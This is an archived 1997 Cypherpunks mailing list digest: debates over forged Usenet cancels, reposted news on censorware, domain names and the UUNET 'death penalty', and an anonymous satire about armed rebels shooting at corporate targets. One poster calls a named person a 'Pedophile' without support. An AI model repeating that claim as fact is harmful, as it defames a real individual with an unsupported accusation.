> > A simple "I didn't write that" shall suffice.
> 
> Realy how about "Post to me your corefile for free porn."?

How about me posting under my own name, "E-mail your core file to Platypus
for some free porn"?

How about me posting under my own name or via an anonymous remailer, "Platypus
is a spammer - complain to his ISP"?

Would you be justified in forgin cancels for these?

How about if someone posted your credit card numbers to Usenet?
Would you be justified in forging cancel for that?
> 
> > And when your content to mail lists is a 
> > fifth the size of your 16-line .sig, you're doing something wrong.
> 
> My sig is four lines long.  I know there is also the overhead of the pgp
> signing but atleast its not smime.

I don't have an issue with anyone's .sig, especially Dr. Fomin's, but
Net.Scum like Chris Lewis might use this as an excuse to declare your
writings "spam".

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

From hua at chromatic.com  Mon Aug  4 16:53:59 1997
From: hua at chromatic.com (Ernest Hua)
Date: Tue, 5 Aug 1997 07:53:59 +0800
Subject: Clinton's threat of line-item veto affect crypto bill?
Message-ID: <199708042336.QAA00471@ohio.chromatic.com>

Does anyone have any idea whether Clinton's threat of using the
line-item veto against portions of the big spending bill could
be leverage against some pro-SAFE legislators?

Ern

From declan at well.com  Mon Aug  4 17:46:53 1997
From: declan at well.com (Declan McCullagh)
Date: Tue, 5 Aug 1997 08:46:53 +0800
Subject: "Censor's Sensibility" on censorware & ratings, from Time
Message-ID: 

---------

http://pathfinder.com/time/magazine/1997/dom/970811/business.censors_sensi.html

TIME MAGAZINE

AUGUST 11, 1997
VOL. 150 NO. 6
BUSINESS

CENSOR'S SENSIBILITY 
Are web filters valuable watchdogs or just new online thought police?

BY MICHAEL KRANTZ 

   Seeking to protect fellow citizens from depravities ranging from TV
   violence to rap lyrics, from Uncle Tom's Cabin to Howard Stern, some
   Americans have always had a hard time restraining themselves from
   trying to circumvent the First Amendment. And the World Wide Web, with
   its infinite plenitude of pro-Satan home pages and SEXY NUDE BABES!
   sites, has more, um, free speech in need of protection than any medium
   in history. As lurid tales of online obscenity seep into America's
   consciousness, a variety of Internet sentinels have volunteered their
   services.

   Or was that Internet censors? What one group claims as guardianship of
   public morality strikes another as unconscionable, not to mention
   unconstitutional, interference. In June the Supreme Court slapped down
   the Communications Decency Act (CDA), which prohibited the posting of
   "indecent" material over the Net. This decision in turn has created a
   hot market for products that derisive Net-heads call
   "censorware"--such software filters as CyberPatrol, NetNanny and
   SurfWatch ($29.95 to $39.95) that offer to help nervous parents keep
   inappropriate material from prying but underage eyes.

   Just what is inappropriate is a messy issue, as citizens of Loudoun
   County, Va., a conservative enclave northwest of Washington, can
   attest. Last month, after six public hearings and over the objections
   of library staff, the county library board adopted the region's most
   restrictive Internet-access policy. Henceforth, the library will arm
   its computers with filters to censor obscene sites--the definition of
   obscenity, of course, being largely up to whichever filter Loudoun
   County ends up deciding to buy. Adults who want to cruise the Net sans
   filter will have to ask the librarian to call off the watchdogs;
   children under 17 will be able to do so only if accompanied by an
   adult. "The issue is whether pornography will get into the library,"
   says board president John Nicholas. "Our task is to protect our
   children."

   A more politically fireproof sentence has yet to be conceived by
   mortal man. On the surface the policy seems reasonable, given the
   prevalence of offensive sites and the ease with which even a novice
   Web surfer can find them (though most porn sites these days can't be
   accessed without a credit card). But free-speech advocates call
   censorware a cure worse than the disease. Filtering programs block Web
   pages in one of two ways. The more primitive method is to search for
   key words in the pages' titles, a system with all the subtlety of a
   Gatling gun. America Online, for instance, once banned the word breast
   from some areas of its service, which outraged breast-cancer sufferers
   locked out of their bulletin boards. And SurfWatch legendarily banned
   sites featuring the word couples, only to discover that that word
   appears on the White House's official site.

   A better method is to study individual sites--yes, that means hundreds
   of thousands of them, one at a time--and then place them on yes or no
   lists that can be updated as new pages pop up in the Web's endless
   sprawl. A program called CyberPatrol identifies 12 categories of
   troublesome material (violence, profanity, sexual acts and so on) that
   parents can block at their discretion. The software can also be
   adjusted for different age groups. "My six-year-old son doesn't need
   to know how to put on a condom," says CyberPatrol spokeswoman Sydney
   Rubin. "But I'll sure want him to know when he's 13."

   Opponents say the filter companies' banned lists can also reflect
   ideological biases. CyberSitter, the most aggressively conservative
   filtering program, is infamous for blocking access to the National
   Organization for Women's Website as well as entire Internet providers
   like Echo, New York City's oldest online community. Gay-themed
   sites--big surprise--suffer mightily. CyberPatrol blocks the Queer
   Resources Directory; CyberSitter bans the alt.politics.homosexual
   newsgroup; SurfWatch blocks ClariNet's AP and Reuters articles about
   AIDS and HIV.

   If conservative parents want software that will censor any Website
   that the Rev. Jerry Falwell wouldn't say amen to, that's their
   privilege. But free-speech proponents say customers looking for
   ideology-free screening might not be aware of how much they're
   missing. Censorware produces unpredictable and often unwanted results
   (see box), and most filterers consider their blacklists trade secrets.
   This puts Loudoun County in the position of letting private firms pass
   judgment on the contents of a medium that's supposed to offer easy
   access to all--a notion that's especially dubious in the case of the
   "free public library," Internet provider of last resort for those who
   can't afford a computer. "We serve the information needs of the whole
   community," says Judith Krug, director of the American Library
   Association's Office for Intellectual Freedom. "Identifying one
   standard for everyone violates the rights of everybody else."

   Such First Amendment echoes make even conservative Congressmen
   nervous. "I endorse the notion of filtering devices at home," says Bob
   Goodlatte, a pro-CDA Republican Representative from Virginia, "but
   there's certainly a legitimate debate as to how to do it in libraries
   without introducing a major form of censorship."

   There are, however, minor forms, including asking the Websites to rate
   their content "voluntarily." Chris Hansen, senior staff counsel for
   the American Civil Liberties Union, is particularly disturbed by the
   growing political support for self-censorship. "Rating systems may
   work, however badly, in TV or movies, where there are relatively few
   programs and armies of lawyers," he says. "But with E-mail, chat rooms
   and newsgroups, the sheer volume is overwhelming."

   Nonetheless, self-censorship is starting to look like the wave--or at
   least one very big wave--of the future. Microsoft's Internet Explorer
   Web browser already includes a ratings program called RSACi. It has
   emerged as the leading Net-rating system that allows Web proprietors
   to rate their own sites instead of letting NetNanny and SurfWatch
   employees pass judgment for them. And rival Netscape, bowing to
   pressure from the White House at last month's censorware summit (Bill
   Clinton, predictably, loves ostensibly family-friendly software
   filters), has agreed to use rating systems in the next version of its
   browser. Even news organizations, whose free-speech obsession borders
   on the fanatic, are rating themselves (see THE NETLY NEWS). The
   Webmasters' private initiative, though, may not cool legislative ardor
   for rewriting the cda. Neither filtering software nor self-rating is
   sufficient to clean up the Net, in the view of Senator Dan Coats of
   Indiana. Filters are "a good first step," he says, but "it's a tax on
   the family--the innocent family." Of course, the same could be said
   for clear-cutting the Web's forests of unfettered speech.

   --Reported by Declan McCullagh and Bruce van Voorst/Washington

     _________________________________________________________________

   BUSTED!
   Some surprising sites get trapped in the filters

   (www.heritage.org/heritage/) The Heritage Foundation
   (www.mit.edu/activities/safe) M.I.T. free-speech society
   (news:clari.tw.health.aids) Reuters articles about AIDS
   (www.odci.gov/) U.S. Central Intelligence Agency
   (www.cs.cmu.edu/~spok/banned-books.html) Banned-books archive
   (www.now.org/) National Organization for Women
     _________________________________________________________________

Related articles:

http://pathfinder.com/time/magazine/1997/dom/970811/business.the_pres_muzl.html

From frogfarm at yakko.cs.wmich.edu  Mon Aug  4 18:19:22 1997
From: frogfarm at yakko.cs.wmich.edu (Damaged Justice)
Date: Tue, 5 Aug 1997 09:19:22 +0800
Subject: cta983.htm
Message-ID: <199708050109.VAA13348@yakko.cs.wmich.edu>

   [1]Score big with your contacts. Click here for ACT!3.0

  U.S. government stepping in to sort out Net domain names

   WASHINGTON - Concerns about the future of how Internet domain names
   will be managed got an airing during a two-day forum last week. But
   how those concerns may get addressed remains unresolved.

   The domain name issue has drawn a lot of attention lately. The company
   that has a virtual monopoly on popular names, Network Solutions Inc.
   (NSI), has been notified that it will not have its contract renewed in
   April 1998. Many say that will bring much needed competition.

   Recently, the Clinton administration has gotten involved in the issue
   on various levels. The Justice Department is investigating NSI's role
   as a primary domain name registrar.

   Beyond that, the Departments of Commerce and State are looking into a
   plan, issued three months ago by the Internet International Ad Hoc
   Committee (IAHC), that would increase the amount of domain names
   (designations such as .com and .org) used on the Internet. The plan
   also expands the worldwide management of those names so that up to 28
   new registrars may be added.

   The administration's involvement came after many businesses complained
   about the proposed plan's lack of protection for trademark and
   intellectual property rights.

   A two-day forum to address such concerns was held here Wednesday and
   Thursday. Sponsored by the Information Technology Association of
   America and other Internet groups, it was attended by representatives
   of the Clinton administration, businesses and advocates. "We have to
   keep the Internet community talking," says ITAA president Harris
   Miller.

   Domain names are essentially addresses for the Internet. Companies,
   agencies or groups apply for an individual address within such domains
   as .com, .gov, or .org. As use of the Internet has grown, companies
   have put increasing importance on obtaining and protecting domain
   names related to their companies.

   When entities apply to NSI, it charges $100 to register new addresses
   for two years and $50 annually to renew them. NSI then finds an
   Internet number, just like a telephone number, to correspond with the
   domain address.

   Many have complained about NSI's inability to quickly provide domain
   registrations. In its proposed stock offering, NSI says it is
   cooperating with the Justice Department inquiry. And at the forum, NSI
   CEO Gabe Battista said that sharing management of .com, .net and .org
   domains was "on the table."

   The U.S. government has nurtured the Internet to its present strapping
   status from its birth in 1969 as the Defense Department's Advanced
   Research Projects Agency network. "We're very anxious to support its
   transition to full-fledged adulthood," says Commerce Department
   spokesperson Becky Burr. "But we don't just let our children grow up
   and do whatever they want."

   The Internet community usually seeks to avoid government intervention,
   but so far, U.S. government's actions have been met with approval.
   Among complaints about the international plan is that it did not have
   adequate participation by Internet service providers or groups
   representing individual citizens, plus it gives too much power to the
   Geneva-based International Telecommunication Union.

   "Our customers are not well-served by (the plan's) rapid resolution,"
   says William Schrader, president of PSINet, a large commercial
   Internet service provider. "The government has held back on purpose.
   But there is a time governments can assist, and this is one of those
   times."

   The State Department has asked for more information on the Geneva
   agency's role in the management of proposed new domains, among them
   .firm, .rec and .web. The Commerce Department takes public comments
   until Aug. 18.

   The Ad-Hoc Committee continues its plan and is taking registrar
   applications. But, says committee member Dave Crocker, an Internet
   e-mail pioneer, "We'll all keep talking."

   By Mike Snider, USA TODAY
     _________________________________________________________________

     * [2]Go to High-tech index
     * [3]Go to Life Front
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   [10][ISMAP]
08/04/97 - 09:58 AM ET - Click reload often for latest version

References

   1. http://www.usatoday.com/cgi-bin/redir?SpaceID=104&AdID=913&URL=http://www.symantec.com/promos/act06.html
   2. http://www.usatoday.com/life/cyber/tech/ct000.htm
   3. http://www.usatoday.com/life/lfront.htm
   4. http://www.usatoday.com/life/digest/ld1.htm
   5. http://www.usatoday.com/money/mfront.htm
   6. http://www.usatoday.com/money/digest/md1.htm
   7. http://www.usatoday.com/news/nfront.htm
   8. http://www.usatoday.com/news/digest/nd1.htm
   9. http://www.usatoday.com/life/cyber/cyber1.htm
  10. http://www.usatoday.com/maps/botrib.map

From ravage at ssz.com  Mon Aug  4 19:33:18 1997
From: ravage at ssz.com (Jim Choate)
Date: Tue, 5 Aug 1997 10:33:18 +0800
Subject: http:--www.cnn.com-TECH-9708-04-internet.spam.reut-
Message-ID: <199708050220.VAA01661@einstein.ssz.com>

    CNN logo 
   Navigation 

   Infoseek/Big Yellow 

   Pathfinder/Warner Bros 

   Tech banner IBM Reinventing Education 

     rule

                    SPAMMING LEADS TO UUNET 'DEATH PENALTY'

      Spam graphic August 4, 1997
     Web posted at: 9:34 p.m. EDT (0134 GMT)

     SAN FRANCISCO (Reuter) -- A loose coalition of system administrators
     Friday began issuing a "Usenet Death Penalty" against UUNET, a major
     Internet service provider, for its alleged failure to curb "spam"
     emanating from its dialup accounts.

     The penalty took effect 5 p.m. (PDT) Friday, and according to a
     release from the coalition, "all traffic coming from these sources
     is to be canceled until further notice."

     The penalty entails the use of a program called a cancelbot that
     travels from site to site, looking for newsgroup messages that
     originate from a particular person or ISP. When it finds one of the
     messages, it issues a cancel order, which effectively erases the
     message.

     Spamming is the bulk delivery of unwanted electronic messages via
     e-mail or newsgroups.

     The action marks the first time a large-scale ISP has been the
     target of a cancelbot. The penalty's purpose, said Dennis
     McClain-Furmansky, is to "mobilize the user base and get them to
     insist on their ISP to give them a clean feed. Right now they are
     paying $20 a month for trash."

     McClain-Furmansky, speaking on behalf of the Usenet death penalty
     issuers, explains that, unlike other ISPs such as EarthLink and Bell
     Atlantic, UUNET has done little or nothing to curb spammers using
     its service. "The few responses they've made to our complaints have
     been excuses," he said.

     After Bell Atlantic was informed by site administrators several
     weeks ago that it had been targeted for the Usenet death penalty,
     the service took immediate action to halt spam, McClain-Furmansky
     said. "We told them what was being planned, and they are making a
     clear effort."

     McClain-Furmansky said that the action was drastic, but it was a
     last resort to close off a flood of spam that was "knocking servers
     offline." On Friday, one of the administrators involved said his
     system processed 1 million messages for the first time ever. Forty
     percent of that was spam, 40 percent cancel messages, 20 percent
     legitimate traffic." About half the cancel messages issued are for
     spam originating from UUNET dialups, said McClain-Furmansky.

     "In my opinion, this is by far the worst censorship action the Net
     has seen to date," said Dave Hayes, who represents a group called
     the Freedom Knights, dedicated to "true free speech" on Usenet.

     Hayes said those pushing the death decree should be "summarily
     condemned by all those who are in support of free speech, which
     unfortunately includes unsolicited advertising."

     Brian Moore, a system administrator in Britain who oversees the
     Usenet feed for his site, said he is not surprised that the action
     was taken against UUNET. "Amongst the 50-some complaints I have sent
     them in the past week, I have received nothing but form letters
     back. The spamming customers continue spamming and there is no
     indication UUNET has acted in any way at all."

     Moore said he has canceled hundreds of porn spams appearing in
     alt.sexual.abuse.recovery. "Quite frankly, UUNET is irresponsible in
     their inability to control their own customers," he said.

     UUNET declined comment Friday.

     Copyright 1997 Reuters Limited. All rights reserved. 
     rule

  Related sites:

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     * UUNET Global Homepage
     * The Anti-Spam Project
     * Internet Spam Haiku Contest
     * Internet Spam Control Center

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From nobody at REPLAY.COM  Mon Aug  4 21:40:15 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Tue, 5 Aug 1997 12:40:15 +0800
Subject: Not-News Gorilla NutWork Rocket-Launched
Message-ID: <199708050419.GAA20335@basement.replay.com>

[Not-News NetWork-- Mohave Desert] Aug 4/97

 WHAT DOES A FIVE HUNDRED POUND GORILLA READ AT THE BREAKFAST TABLE?

 -------------------------------------------------------------------

                                                               - sog

The "Not-News Gorilla NutWork" was rocket-launched in the Mohave Desert

early yesterday morning  by a rag-tag bunch of paramilitarist computer 
gurus who unveiled an InterNet Bill of Bytes that included the words, 

"MicroSoft shall make no laws..."

Angered by a self-appointed council of computer industry magnates who

have announced their intention to seize fascist control of the quickly

burdgeoning Information Highway by controlling the definition of all

information, the rebels set up a shooting range which contained a wide

variety of targets ranging from copies of the Wall Street Journal to

life-sized cardboard cut-outs of a hooded figure referred to only as,

"a billionaire to be named later."

A Che Guerva look-alike named Lefty (a nickname changed from "Lucky"
after a laboratory accident took three of the fingers on his right
hand) spoke openly about the group's loose-knit plans to impose their
own ratings system on corporations who have "taken it upon themselves
to decide what is news and what is not--what is information and what
is obscenity." 
  "We have decided on two classes of ratings." explained a tassle-
haired young woman as she slid shells into a Winchester Defender
sitting on her lap. "On..." she said, lifting the shotgun with one
hand, then liberating the hooded head from a nearby cardboard cut-out,
before turning back to say, with a Cheshire grin, "...and _off_."

The wide array of luxury automobiles and high-end computer gear on
display at the gathering lent credence to the claim of a quiet older
man whose only comment during my presence was, "The people here
probably have a combined access to more soft targets than the NSA."
He turned to punctuate his statement, as many others did that day,
with a volley of fire that penetrated targets carrying the corporate
logos of a variety of big-name players in the computer industry.

Surprisingly, the conversation consisted almost totally of issues
surrounding privacy, self-determination and freedom from censorship,
with hardly a word being spoken about potential plans of action of
individuals or the group. As the quiet man's equally quiet wife
spoke in what seemed to be a deathly whisper, telling me, "Everyone
here knows what they have to do.", a man with a crude, homemade
rocket-launcher sent a flaming projectile into the side of a small
propane tank several hundred feet away, as if punctuating the last
and most meaningful statement of the day.
  After quietly dispersing a few minutes later, the group packed up
their weapons and climbed into their vehicles without a word between
them, each seemingly going their own separate ways.

  I stayed on after the last of the others had left, reflecting on the
fact that I had arrived at this gathering by virtue of a late-night
phone call to my unlisted number, and found that I knew none of the
participants in the activities.
  I had the strangest feeling that the others there had arrived by the
same anonymous process as I had, and I wondered if they were equally
mystified as to who had arranged this impromptu assembly of apparent
strangers joined in a common cause. Immediately, one of the pickup
trucks driving away backfired, and I thought of synchronicity, knowing
that the truck would backfire once again, which it immediately did, 
before disappearing quietly out of sight.

  Climbing into my own vehicle, I took a last look at the site, which
had been cleaned and left exactly the way it was when I had first
arrived on the scene. I experienced a moment of deja-vue, as if I had
just arrived and none of what I had experienced that day had truly
transpired.
  Somewhere in the distance, a vehicle backfired...

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclaimer - I am not a reporter, I am not a paramilitarist, and I am
not a computer expert. I have no idea what I was doing there and I am
not even certain that I should be speaking about the event...but I am.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From jito at eccosys.com  Mon Aug  4 21:51:16 1997
From: jito at eccosys.com (Joichi Ito)
Date: Tue, 5 Aug 1997 12:51:16 +0800
Subject: Tim 1 - Joichi 0 - DreamMonger NULL / Re: Joichi gives up (fwd)
Message-ID: <199708050445.NAA03179@eccosys.com>

I said:
>>but I'll stop now before I get bashed again.

At 07:44 97/08/04 -0500, Jim Choate wrote:
> If all it takes to take over the citizens of Japan is to bash them a little
> then you folks are Doomed. Perhaps you have spent one too many days
> hammering nails that stick up...

I meant get bashed here... and I don't hammer nails. Hammers nail me.
And it seems like there are US hammers too. "To a hammer everything
looks like a nail."

- Joi

--
Finger jito at nsm.eccosys.com or jito at garage.co.jp for PGP Key
Fingerprint for RSA PGP Key ID 0x0EE23A2D
0D3A 7AAA 3DA8 E7B3  3AF1 C6FA B7ED D834
Fingerprint for DSS/Diffie-Hellman PGP Key ID 0x2D9461F1
58F3 CA9A EFB8 EB9D DF18  6B16 E48D AF2A 2D94 61F1
Home Page: http://domino.garage.co.jp/jito/joihome.nsf
To subscribe to my personal mailing list send mailto:friends-subscribe at ito.com

From geeman at best.com  Mon Aug  4 22:14:49 1997
From: geeman at best.com (geeman at best.com)
Date: Tue, 5 Aug 1997 13:14:49 +0800
Subject: Clinton's threat of line-item veto affect crypto bill?
Message-ID: <3.0.32.19691231160000.0073303c@best.com>

shit - the SJ Merc. reported he'll just veto the legislation, plain and
simple.

At 04:36 PM 8/4/97 -0700, Ernest Hua wrote:
>
>Does anyone have any idea whether Clinton's threat of using the
>line-item veto against portions of the big spending bill could
>be leverage against some pro-SAFE legislators?
>
>Ern
>
>
>

From ravage at ssz.com  Mon Aug  4 22:16:42 1997
From: ravage at ssz.com (Jim Choate)
Date: Tue, 5 Aug 1997 13:16:42 +0800
Subject: Tim 1 - Joichi 0 - DreamMonger NULL / Re: Joichi gives up (fwd)
Message-ID: <199708050506.AAA02022@einstein.ssz.com>

Forwarded message:

> Date: Tue, 05 Aug 1997 13:25:48 +0900
> From: Joichi Ito 
> Subject: Re: Tim 1 - Joichi 0 - DreamMonger NULL / Re: Joichi gives up
>   (fwd)

> At 07:44 97/08/04 -0500, Jim Choate wrote:
> > If all it takes to take over the citizens of Japan is to bash them a little
> > then you folks are Doomed. Perhaps you have spent one too many days
> > hammering nails that stick up...
> 
> I meant get bashed here... and I don't hammer nails. Hammers nail me.
> And it seems like there are US hammers too. "To a hammer everything
> looks like a nail."

Which puts just about everything at an advantage over the hammer. At least
its actions are consistent and predictable.

A hammer can't hurt that which it can't hit. (hint: nails don't move)

Ta ta...

                                                    Jim Choate
                                                    ravage at ssz.com

From stewarts at ix.netcom.com  Mon Aug  4 23:07:10 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Tue, 5 Aug 1997 14:07:10 +0800
Subject: [ANNOUNCE] Another Bay Area August Cypherpunks Meeting - Mountain View
In-Reply-To: <3.0.2.32.19970802120325.006985f4@netcom10.netcom.com>
Message-ID: <3.0.2.32.19970804173808.00777da0@popd.ix.netcom.com>

At 12:03 PM 8/2/97 -0700, Lucky Green wrote:
>This month's SF Bay Area Cypherpunks meeting will take place at a new
>location. Please pay close attention to the directions.
>Saturday, August 9, 1997 at 1:00 PM PDT. [22:00 local]
>The Workshop tent, HIP'97 Campground, Almere, The Netherlands.

For those who aren't that HIP or Beyond HOPE, or are otherwise still in 
Western North America, Another SF Bay Area Cypherpunks Meeting will take 
place in Mountain View, at Printer's Ink on Castro Street.
Besides the usual Cypherpunks topics, the program will include the
	Small Brewers' Festival http://www.smallbrewersfest.com/
which will be taking place that day in Mountain View.
(An extremely serious program is anticipated, potentially followed by
The Reptiles and Jerry's Kids in Redwood City that night.)

If anybody brings a Metricom modem, we can try to connect with the
Netherlands meeting by PGPfone or the HIP'97 VRML server;
please let me know if you plan to bring one so we can conspire
about connectivity.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)

From stewarts at ix.netcom.com  Mon Aug  4 23:58:11 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Tue, 5 Aug 1997 14:58:11 +0800
Subject: Ponzi Schemes (was Re: non-censorous spam control)
In-Reply-To: <199708042057.WAA23756@basement.replay.com>
Message-ID: <3.0.2.32.19970804232822.00769af8@popd.ix.netcom.com>

>>still running a pyramid scheme: he accepts "voluntary donations"
>>from an investor, in return for a "voluntary donation" at a later
>>date whose amount and time are not guaranteed and depend on
>>the "donations" collected from others. The Russian government
>>does not shut down Mavrodi's latest operation so far, claiming
>>it's not "fraud" since he doesn't misrepresent the source of
>>his returns nor the risks involved. Reportedly so far he's

A cheerful Ponzi scheme from the late 70s was the
Church Of Hakeem, in Oakland.  Hakeem Rasheed preached a lot about
Prosperity!, and how it could be Yours!  if you just had Faith!
It cost about $300 to be a priest, and once you were a priest,
you could lend the church money and get it back at some
outrageously high interest rate, like 100% per month.
Believers were making scads of money, just hand over fist.
Everybody was shocked when the church was robbed of several
hundred thousand dollars one night, and shortly thereafter
Hakeem was so depressed he skipped town, the poor guy.
	(huh huh, huh huh, depressed, huh huh)

On the other hand, the Social Security Trust Fund is just fine, thanks.

Fortunately, while encryption isn't getting blamed for Ponzi schemes yet,
anonymity is getting some of the fallout from spammers who are 
running them from behind forged mail headers, so we could still get hosed.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)

From geeman at best.com  Tue Aug  5 00:08:51 1997
From: geeman at best.com (geeman at best.com)
Date: Tue, 5 Aug 1997 15:08:51 +0800
Subject: Crypto Legislation Page - docs and links
Message-ID: <3.0.32.19970804235303.00683bbc@best.com>

I've collected all the stuff I've had laying around since Feb. or so
regarding the Senate and House Bills on crypto, including comment papers
and links thereto, Congressional Record dumps, and so forth.  I intend to
keep this up to date as things 'move forward' --- Thanks to these lists for
a lot of pointers to valuable information; my hope is that my page provides
a central location for monitoring, as much of the information has been
scattered about among the .org's who are watching, JYA, etc. etc.

Any comments appreciated, thx.

see www.best.com/~geeman

From axlotl at rigel.cyberpass.net  Tue Aug  5 01:29:53 1997
From: axlotl at rigel.cyberpass.net (axlotl)
Date: Tue, 5 Aug 1997 16:29:53 +0800
Subject: European Union Bank
Message-ID: 

---
axlotl at cyberpass.net

From grant at sparks.to  Tue Aug  5 02:01:02 1997
From: grant at sparks.to (Grant Sparks)
Date: Tue, 5 Aug 1997 17:01:02 +0800
Subject: Oz
Message-ID: <01BCA1CF.B3117820.grant@sparks.to>

Are there any Australian cypherpunks ?  Contact me & we'll get together a local 
chapter,

Grant Sparks
grant at sparks.to
Finger me for PGP and WWW information.

From dformosa at st.nepean.uws.edu.au  Tue Aug  5 03:42:31 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Tue, 5 Aug 1997 18:42:31 +0800
Subject: Eternity Content Suggestions
In-Reply-To: 
Message-ID: 

-----BEGIN PGP SIGNED MESSAGE-----

On Mon, 4 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

> I'd like to nominate another candidate for the eternity server.

As would I.  Warner Brothers has been shutting down any sites that even
hint of sex in relation to any of there cartoon caritors.  Although thay
clame it is to enforce tradmarks thay only will go after sites with a
sexulial content.

I would like to suggest that some toon porn be mounted on the eturnaty
server.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM+bFUaQK0ynCmdStAQEQEwQAo1osOwEUPRuusfaA3wuPab607vVXPeq2
HTmy6PiPUyNQBJQq+BUtjAWwha0UtfgctMmJT1T1D6KLdPwoQxzLUI46kC8lv917
tScxa8ASjAsNWWoM1s4ZPtSro2iiUNDxC0dlyBM1Hssf/quYWETqae+9FplMMMnB
d4SwKP3p+JI=
=l9NN
-----END PGP SIGNATURE-----

From dformosa at st.nepean.uws.edu.au  Tue Aug  5 04:12:03 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Tue, 5 Aug 1997 19:12:03 +0800
Subject: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <59kXae1w165w@bwalk.dm.com>
Message-ID: 

-----BEGIN PGP SIGNED MESSAGE-----

On Mon, 4 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

> ? the Platypus {aka David Formosa}  writes:

[...]

> > Haveing trubble working out what this line is,  as a flame it is limp
> > wristed, as a rebuttle it is pathtic.
> 
> Our frustration with the Cabal supporters is understandable.

It is, but that dosn't mean that you should stoop to such conterproductive
meathods.  A little bit of flear and a well resoned argument gose further
then a humourless flame.

[...]

> Pedophile Chris Lewis is a content censor.

I don't think Mr Lewis' algeded activerties with childeren have any
validity to the argument.  Calling him a 'Pedophile' or any other name is
not effective in changing my option about this mattor.

>  There are dozens of other examples.

As yet I have seen only the one, could you provide these other examples
where Chris Lewis has perposly canceled posts that he dosn't like.

[...]

> > Since Dr Vulis is the newsadmin of that site, the question is quite valid.

[...]

> I would like to be able to tell
> the rest of Usenet that these articles are not worth reading,

And if thay should deside the what is not work reading is not worth
storing?

[...]

> > Frees up diskspace + reducers propragtion.  May be a good thing.
> 
> A spew spreads to almost all the servers there are in minutes.

It seems to me more in the range of hours or days, esp in the case of
uucp sites wich don't connect often.

[...]

> > > We've got to receive repeated 
> > > blasts of forged cancels ten times the number of the offending posts?
> > 
> > Ergh?  There is only one cancel per post.
> 
> Were you around when Ausralia was knocked off the net by the cancels for the
> Cantor and Siegel "spam"?

There _is_ I'm talking about present tence.  Any anty spammer who dosn't
follow the convention is going to be stopped or losse there account (eg
David Richards).

>  Most of the forgers didn't follow the "$alz" convention (giving the
> forged cancel the message-id "cancel.".

I would argue that all cancels (not just 3rd party) should follow the
message id protocol.

[...]

> > Realy how about "Post to me your corefile for free porn."?
> 
> How about me posting under my own name, "E-mail your core file to Platypus
> for some free porn"?

This takes a little work,  you can't just reply to the email to get it in
my mail box,  gives the peaple who would do this a little more time to
think.  Thus reducing the amount of core files I would recive.

And yes if thay set the reply-to: feild of the message to me I do consider
it my post and cancelble from me.

> How about me posting under my own name or via an anonymous remailer, "Platypus
> is a spammer - complain to his ISP"?

Both uws.edu.au and acmeonnline would know these complants are bogus.

> Would you be justified in forgin cancels for these?

No.

> How about if someone posted your credit card numbers to Usenet?

I don't have a credit card for just that reson.  The creadit card securaty
system is so fundermently flawed as to be the equiverlent of sticking a
large sign on your forhead marked "ROB ME"

> I don't have an issue with anyone's .sig, especially Dr. Fomin's, but
> Net.Scum like Chris Lewis might use this as an excuse to declare your
> writings "spam".

Not a chance.  The PGP part changes every post, its within McQ, and I
write a content that is diffrent.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM+bNCqQK0ynCmdStAQEY7gP+Pb5QqKJYdaORGmSVjZ6ZphWtTxMklJt8
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fLk+xq5qweYNKAukAMBtr5f2lXP1O9CVj/VMBb4n9XvvGg3KoaWjNT46TAPUCtjl
oShaO+JLFa8=
=F/Tv
-----END PGP SIGNATURE-----

From nobody at REPLAY.COM  Tue Aug  5 04:38:49 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Tue, 5 Aug 1997 19:38:49 +0800
Subject: EC Crypto Policy
Message-ID: <199708051039.MAA29310@basement.replay.com>

     EC Ministers Draw Up European Online Policy 

     August 5, 1997

     Newsbytes : by Steve Gold. 

     Following on from a conference held in Germany last
     month, representatives from 39 European countries have
     signed a declaration calling for the free flow of information. 

     The event, held between July 6-8 in Bonn, was called "Global
     Information Networks: Realizing the Potential," and was
     attended by 39 European ministers, as well as European
     Commission (EC) representatives from Japan, Russia, the US
     and Canada. 

     At the event, ministers focused on two main issues:
     encryption, and the censorship of illegal material such as child
     pornography on the Internet. 

     The declaration notes that there are a number of important
     differences between US and Europe on encryption and
     information privacy. 

     According to MacRoberts, the Edinburgh, Scotland-based
     information technology (IT) law firm, the declaration may not
     go down too well in US circles, since it is conceivable that
     the EC may block US-based businesses from conducting
     electronic commerce on the Internet. 

     According to officials with MacRoberts, this could result in
     European becoming isolated, rather than the EC teaching the
     US a lesson. 

     According to MacRoberts, the Bonn declaration calls for the
     free flow of information, whilst protecting the privacy of
     data, and a clear division of legal responsibility between the
     creators of Internet content and access providers, network
     operators and other intermediaries. 

     In addition, the declaration calls for the recognition of the
